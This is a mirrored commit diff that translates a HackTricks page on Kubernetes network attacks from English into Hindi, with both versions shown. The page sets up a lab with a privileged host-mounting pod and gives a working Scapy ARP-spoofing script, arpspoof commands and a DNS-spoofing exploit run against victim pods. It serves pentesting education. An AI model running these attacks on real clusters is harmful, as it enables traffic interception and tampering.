gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-16 06:42:39 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

Browse Source
This commit is contained in:
Translator
2024-12-31 19:09:14 +00:00
parent 7770a50092
commit 388bdfdf0a
244 changed files with 7988 additions and 10827 deletions
Download Patch File Download Diff File Expand all files Collapse all files

260
src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
View File

@@ -4,92 +4,91 @@
## Introduction
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
Kubernetes में, यह देखा गया है कि एक डिफ़ॉल्ट व्यवहार **सभी कंटेनरों के बीच कनेक्शन स्थापित करने की अनुमति देता है जो एक ही नोड पर स्थित हैं**। यह नामस्थान भिन्नताओं की परवाह किए बिना लागू होता है। इस प्रकार की कनेक्टिविटी **लेयर 2** (ईथरनेट) तक फैली हुई है। नतीजतन, यह कॉन्फ़िगरेशन संभावित रूप से सिस्टम को कमजोरियों के प्रति उजागर करता है। विशेष रूप से, यह एक **दुष्ट कंटेनर** के लिए **ARP स्पूफिंग अटैक** को अन्य कंटेनरों के खिलाफ निष्पादित करने की संभावना खोलता है जो उसी नोड पर स्थित हैं। ऐसे हमले के दौरान, दुष्ट कंटेनर धोखे से अन्य कंटेनरों के लिए निर्धारित नेटवर्क ट्रैफ़िक को इंटरसेप्ट या संशोधित कर सकता है।
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
ARP स्पूफिंग हमलों में **हमलावर द्वारा स्थानीय क्षेत्र नेटवर्क पर गलत ARP** (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) संदेश भेजना शामिल है। इसके परिणामस्वरूप **हमलावर के MAC पते को नेटवर्क पर एक वैध कंप्यूटर या सर्वर के IP पते के साथ जोड़ा जाता है**। ऐसे हमले के सफल निष्पादन के बाद, हमलावर डेटा को इंटरसेप्ट, संशोधित या यहां तक कि ट्रांजिट में रोक सकता है। यह हमला OSI मॉडल की लेयर 2 पर निष्पादित होता है, यही कारण है कि Kubernetes में इस स्तर पर डिफ़ॉल्ट कनेक्टिविटी सुरक्षा चिंताओं को बढ़ाती है।
In the scenario 4 machines are going to be created:
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
परिदृश्य में 4 मशीनें बनाई जाने वाली हैं:
- ubuntu-pe: नोड पर भागने और मैट्रिक्स की जांच करने के लिए विशेषाधिकार प्राप्त मशीन (हमले के लिए आवश्यक नहीं)
- **ubuntu-attack**: **दुष्ट** कंटेनर डिफ़ॉल्ट नामस्थान में
- **ubuntu-victim**: **शिकार** मशीन kube-system नामस्थान में
- **mysql**: **शिकार** मशीन डिफ़ॉल्ट नामस्थान में
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```
```bash
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Basic Kubernetes Networking
If you want more details about the networking topics introduced here, go to the references.
यदि आप यहां प्रस्तुत नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो संदर्भों पर जाएं।
### ARP
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
सामान्यत: **नोड के अंदर पोड-से-पोड नेटवर्किंग** एक **ब्रिज** के माध्यम से उपलब्ध है जो सभी पोड्स को जोड़ता है। इस ब्रिज को “**cbr0**” कहा जाता है। (कुछ नेटवर्क प्लगइन्स अपने स्वयं के ब्रिज को स्थापित करेंगे।) **cbr0 ARP** (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) समाधान को भी संभाल सकता है। जब एक इनकमिंग पैकेट cbr0 पर आता है, तो यह ARP का उपयोग करके गंतव्य MAC पते को हल कर सकता है।
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
यह तथ्य यह संकेत करता है कि, डिफ़ॉल्ट रूप से, **एक ही नोड में चलने वाला हर पोड** किसी अन्य पोड के साथ **संवाद** करने में सक्षम होगा (नेमस्पेस के स्वतंत्र) एथरनेट स्तर (लेयर 2) पर।
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
> इसलिए, एक ही नोड में पोड्स के बीच A**RP Spoofing हमले करना संभव है।**
### DNS
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
कुबेरनेट्स वातावरण में आप आमतौर पर 1 (या अधिक) **DNS सेवाएं चलती हुई पाएंगे** जो आमतौर पर kube-system नेमस्पेस में होती हैं:
```bash
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
If you check the DNS address inside any pod you will find something like this:
यदि आप किसी भी पोड के अंदर DNS पते की जांच करते हैं, तो आपको कुछ ऐसा मिलेगा:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
हालांकि, **पॉड** को उस **पता** तक पहुँचने का तरीका **नहीं पता** है क्योंकि इस मामले में **पॉड रेंज** 172.17.0.10/26 है।
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
इसलिए, **पॉड** **DNS अनुरोधों को 10.96.0.10 के पते पर** भेजेगा जिसे cbr0 द्वारा **172.17.0.2** में **अनुवादित** किया जाएगा।
> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
> इसका मतलब है कि एक **पॉड का DNS अनुरोध** **हमेशा** **ब्रिज** की ओर जाएगा **सेवा IP को अंत बिंदु IP में अनुवादित** करने के लिए, भले ही DNS सर्वर पॉड के समान उपनेटवर्क में हो।
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
> यह जानकर, और यह जानकर कि **ARP हमले संभव हैं**, एक **पॉड** एक नोड में **उपनेटवर्क** में **प्रत्येक पॉड** और **ब्रिज** के बीच **ट्रैफ़िक को इंटरसेप्ट** करने में सक्षम होगा और DNS सर्वर से **DNS प्रतिक्रियाओं को संशोधित** करेगा (**DNS Spoofing**).
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
> इसके अलावा, यदि **DNS सर्वर** **हमलावर के समान नोड में** है, तो हमलावर क्लस्टर में किसी भी पॉड के सभी DNS अनुरोधों को (DNS सर्वर और ब्रिज के बीच) **इंटरसेप्ट** कर सकता है और प्रतिक्रियाओं को संशोधित कर सकता है।
## ARP Spoofing in pods in the same Node
## समान नोड में पॉड्स में ARP Spoofing
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
हमारा लक्ष्य है कि **कम से कम ubuntu-victim से mysql तक की संचार को चुराना**।
### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
@@ -187,75 +180,69 @@ ngrep -d eth0
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
जैसा कि पहले ही उल्लेख किया गया है, यदि आप **DNS सर्वर पॉड** के उसी नोड में एक पॉड को **समझौता** करते हैं, तो आप **MitM** के साथ **ARPSpoofing** का उपयोग करके **ब्रिज** और **DNS** पॉड को **संशोधित** कर सकते हैं और **सभी DNS प्रतिक्रियाओं** को **बदल** सकते हैं।
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
आपके पास इसे परीक्षण करने के लिए एक बहुत अच्छा **उपकरण** और **ट्यूटोरियल** है [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
हमारे परिदृश्य में, **हमलावर पॉड** में **उपकरण** को **डाउनलोड** करें और एक \*\*फाइल नाम `hosts` \*\* बनाएं जिसमें आप जिन **डोमेन** को **स्पूफ** करना चाहते हैं, उन्हें शामिल करें जैसे:
```
cat hosts
google.com. 1.1.1.1
```
Perform the attack to the ubuntu-victim machine:
ubuntu-victim मशीन पर हमला करें:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -272,23 +259,18 @@ dig google.com
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
> यदि आप अपना खुद का DNS स्पूफिंग स्क्रिप्ट बनाने की कोशिश करते हैं, यदि आप **बस DNS प्रतिक्रिया को संशोधित करते हैं** तो यह **काम नहीं करेगा**, क्योंकि **प्रतिक्रिया** में **src IP** **दुष्ट** **पॉड** का IP पता होगा और इसे **स्वीकृत** नहीं किया जाएगा।\
> आपको **DNS** का **नया DNS पैकेट** उत्पन्न करने की आवश्यकता है जहां पीड़ित DNS अनुरोध भेजता है (जो कुछ ऐसा है जैसे 172.16.0.2, 10.96.0.10 नहीं, वह K8s DNS सेवा IP है और DNS सर्वर IP नहीं है, इसके बारे में अधिक जानकारी परिचय में है)।
## Capturing Traffic
## ट्रैफ़िक कैप्चर करना
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
उपकरण [**Mizu**](https://github.com/up9inc/mizu) एक सरल लेकिन शक्तिशाली API **ट्रैफ़िक व्यूअर है जो Kubernetes** के लिए है, जो आपको **सूक्ष्म सेवाओं के बीच सभी API संचार** को **देखने** में सक्षम बनाता है ताकि आप अपने डिबग और समस्या निवारण में मदद कर सकें।\
यह चयनित पॉड में एजेंट स्थापित करेगा और उनके ट्रैफ़िक की जानकारी एकत्र करेगा और आपको एक वेब सर्वर में दिखाएगा। हालांकि, इसके लिए आपको उच्च K8s अनुमतियों की आवश्यकता होगी (और यह बहुत छिपा हुआ नहीं है)।
## References
## संदर्भ
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
{{#include ../../banners/hacktricks-training.md}}